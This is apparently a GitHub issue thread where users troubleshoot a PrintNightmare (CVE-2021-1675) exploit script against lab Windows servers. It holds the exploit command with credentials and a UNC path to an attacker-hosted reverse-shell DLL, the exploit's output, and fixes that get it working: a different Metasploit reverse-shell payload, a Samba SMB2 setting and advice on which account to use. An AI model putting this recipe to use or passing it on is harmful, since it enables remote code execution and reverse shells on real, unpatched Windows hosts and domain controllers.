Exploit runs but no execution/ Stuck on stage 0

[pr0t0nus3rxyz]

$ python .\CVE-2021-1675.py ignite.local/techuser:Pass123@10.10.10.156 "\10.10.10.155\share\meter.dll"
[] Try 1...
[] Connecting to ncacn_np:10.10.10.156[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_7b3eed059f4c3e41\Amd64\UNIDRV.DLL
[] Executing \10.10.10.155\share\meter.dll
[] Stage0: 0
[] Try 2...
[] Connecting to ncacn_np:10.10.10.156[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_7b3eed059f4c3e41\Amd64\UNIDRV.DLL
[] Executing \10.10.10.155\share\meter.dll
[] Stage0: 0
[] Try 3...
[] Connecting to ncacn_np:10.10.10.156[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_7b3eed059f4c3e41\Amd64\UNIDRV.DLL
[] Executing \10.10.10.155\share\meter.dll
[] Stage0: 0

Dll doesnt get executed

[pr0t0nus3rxyz]

windows server 2016 and windows 10 pro

[andreluna]

Check if your dll reverse shell do running correct:
rundll32 meter.dll, Start

[WhiteHSBG]

same with you

[BlackSnufkin]

#19

[pr0t0nus3rxyz]

Check if your dll reverse shell do running correct:
rundll32 meter.dll, Start

Yes working fine with rundll but not with RCE.

[korang]

I am having same issue. Windows Server 2019, it is a DC. The DLL is uploading , but not executing. When I try to run manually on server it executes fine.

[WhiteHSBG]

#19

Thanks this is very useful，I used windows/x64/meterpreter/reverse_tcp ,that's a mistake.

[citronneur]

See #25

[korang]

#19

Thanks this is very useful，I used windows/x64/meterpreter/reverse_tcp ,that's a mistake.

I have tried both meterpreter and shell with no execution.

[WhiteHSBG]

#19

Thanks this is very useful，I used windows/x64/meterpreter/reverse_tcp ,that's a mistake.

I have tried both meterpreter and shell with no execution.

try windows/x64/shell_reverse_tcp this payload

[korang]

See #25

How do you know what driver to use?? Or what directory path to use?

[citronneur]

It’s just the name of the new driver, choose one randomly!

[citronneur]

Previously the exploit use « 1234 » as name, choose one you want!

[MPereira95]

Hello! I was having the same issue I think it's related to the SMB version that you are using. In my lab I had a windows server 2019 and it was using the SMB version 2, so I went to my kali's /etc/samba/smb.conf I added this line to the end of [global] :
min protocol = SMB2
Then I restarted nmbd and smbd service, ran the python script and was able to open a reverse shell.
Cheers!

[MPereira95]

Also created a low privilege user in my Windows server AD and used those credentials when executing the python script.

[zuchuanchengxuyuan]

you should not use administrator users